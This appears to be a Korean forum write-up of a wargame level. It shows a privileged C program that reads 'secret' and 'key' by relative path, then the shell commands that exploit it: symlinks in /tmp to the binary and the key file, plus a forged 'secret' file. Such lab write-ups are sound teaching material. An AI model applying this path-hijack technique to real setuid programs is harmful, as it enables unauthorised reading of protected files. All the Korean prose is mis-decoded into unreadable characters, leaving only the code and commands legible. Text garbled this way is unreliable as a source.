http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=1572 [º¹»ç]
¿ì¼± ¹®Á¦¸¦ º¸¸é º½ ¹®Á¦ÀÌ´Ù. ¹Úº½Àΰ¡...?
³»½ºÅ¸ÀÏÀÌ ¾Æ´Ï¶ó¼ Ç®±â ½ÈÁö¸¸ ¿äûÀ¸·Î Çѹø...
---------------------------------------------------------------------------------------
is this a right file À̶ó´Â ÈùÆ®°¡ ÀÖ´Ù.
¹«½¼ ¸»ÀÎÁö ¼ÖÁ÷È÷ Àß ¸ð¸£°ÚÀ½...
Á¢¼ÓÇϸé ÆÄÀÏÀÌ 4°³°¡ Àִµ¥ ¼Ò½ºÆÄÀÏÀ» ¿¾îº¸ÀÚ.
#include <stdio.h>
int main()
{
FILE *fp;
char szStr[1024];
fp = fopen("secret", "r");
if(!fp){
printf("secret file error\n");
exit(-1);
}
fgets(szStr, 1024, fp);
szStr[strlen(szStr)-1] = 0;
fclose(fp);
if(strcmp(szStr, "tell me your secret!") == 0)
system("/bin/cat key");
printf("Finished.\n");
}
°£´ÜÇÏ°Ô Çؼ®Çϸé secret ¿¡¼ Àоî¿Â ½ºÆ®¸µÀÌ tell me your secret! ¸é Å° ÆÄÀÏÀ» Àоî¶ó ¶ó´Â °ÍÀÌ´Ù. (ÀÚ¼¼ÇÑ ¼Ò½º Çؼ®Àº ¾Ë¾Æ¼...)
±×·±µ¥ secret ÆÄÀÏ¿¡´Â
I'm a invalid secret file
À̶ó´Â ½ºÆ®¸µÀÌ µé¾îÀÖ°í Àб⠱ÇÇѸ¸ ÀÖ¾î ¼öÁ¤ÀÌ ºÒ°¡´ÉÇÏ´Ù.
±×·³ ´Ù¸¥µ¥¼ ÀÐÀ¸¸é µÇÁö ¾Ê°Ú³ª ½Í¾î¼ ½Éº¼¸¯ ¸µÅ©¸¦ ÀÌ¿ëÇغ¸¾Ò´Ù.
tmp Æú´õ¿¡ ´ÙÀ½°ú °°ÀÌ ÇÁ·Î±×·¥ÀÇ ½Éº¼¸¯ ¸µÅ©¸¦ °Ç´Ù.
bom@ubuntu:/tmp/max$ ln -s /home/bom/bom_owned aa
±×·³ ÀÌÁ¦ tmp Æú´õ¿¡ ´ÙÀ½°ú °°Àº ÆÄÀÏÀÌ ÀÖÀ» °ÍÀÌ´Ù.
lrwxrwxrwx 1 bom bom 19 2010-09-18 18:35 aa -> /home/bom/bom_owned*
½Éº¼¸¯ ¸µÅ©´Â °£´ÜÈ÷ »ý°¢Çϸé ÀÎÅͳÝÀÇ Áñ°Üã±â¿Í µ¿ÀÏÇÑ °ÍÀ¸·Î
ÆÄÀÏÀÌ ¿ø·¡ ÆÄÀÏÀ» °¡¸®Å°¸ç ÇØ´ç ÆÄÀÏ ½ÇÇà½Ã ¿øº» ÆÄÀÏÀ» ½ÇÇàÇÏ´Â ÆÄÀÏÀ̶ó°í º¸¸é µÈ´Ù.
¶ÇÇÑ ¿ø·¡ ¸ñÀûÀÌ secret ÆÄÀÏÀ» Àдµ¥ ¿©±â¼ º¸¸é Àý´ë °æ·Î°¡ ¾Æ´Ñ »ó´ë°æ·Î¸¦ ÀÌ¿ëÇØ Âü°íÇÑ´Ù.
Áï /home/bom/secret ÀÌ ¾Æ´Ñ ÇÁ·Î±×·¥ÀÌ Á¸ÀçÇÏ´Â Æú´õ ³»ÀÇ secretÀ» Àд °ÍÀÌ´Ù.
±×·¯¹Ç·Î secret ÆÄÀϵµ ´ÙÀ½°ú °°ÀÌ ¸¸µé¾îÁØ´Ù.
bom@ubuntu:/tmp/max$ cat > secret
tell me your secret!
ÀÚ ÀÌÁ¦ ½ÇÇàÇغ¸ÀÚ.
bom@ubuntu:/tmp/max$ ./aa
/bin/cat: key: No such file or directory
Finished.
½ÇÇàÀº Àß µÇ¾ú´Âµ¥ keyÆÄÀÏÀ» ÀÐÀ¸·Á°í ÇÏ´Ï ¾ø´Ù°í ±×·±´Ù.
±×·¯¹Ç·Î Å° ÆÄÀÏÀ» ¸¸µé¾îÁÖÀÚ.
À̶§µµ ¸¶Âù°¡Áö·Î ¼Ò½º¸¦ º¸¸é /bin/cat key ·Î½á Àý´ë °æ·Î°¡ ¾Æ´Ñ »ó´ë°æ·Î·Î ÆÄÀÏÀ» Àб⠶§¹®¿¡ ½Éº¼¸¯ ¸µÅ©¸¦ ÀÌ¿ëÇØ key ÆÄÀÏÀ» ¸¸µé¾î¾ß ÇÑ´Ù.
bom@ubuntu:/tmp/max$ ln -s /home/bom/key key
ÀÌÁ¦ µð·ºÅ丮 ³»ÀÇ Àüü ÆÄÀÏÀº ´ÙÀ½°ú °°´Ù.
lrwxrwxrwx 1 bom bom 19 2010-09-18 18:35 aa -> /home/bom/bom_owned*
lrwxrwxrwx 1 bom bom 13 2010-09-18 18:36 key -> /home/bom/key
-rw-r--r-- 1 bom bom 21 2010-09-18 18:35 secret
ÀÌÁ¦ aa¸¦ ½ÇÇàÇÏ¸é ³»½ºÅ¸ÀÏÀº ¾Æ´ÏÁö¸¸ º½µµ ³»²¨. |
Hit : 7200 Date : 2010/09/18 06:19
|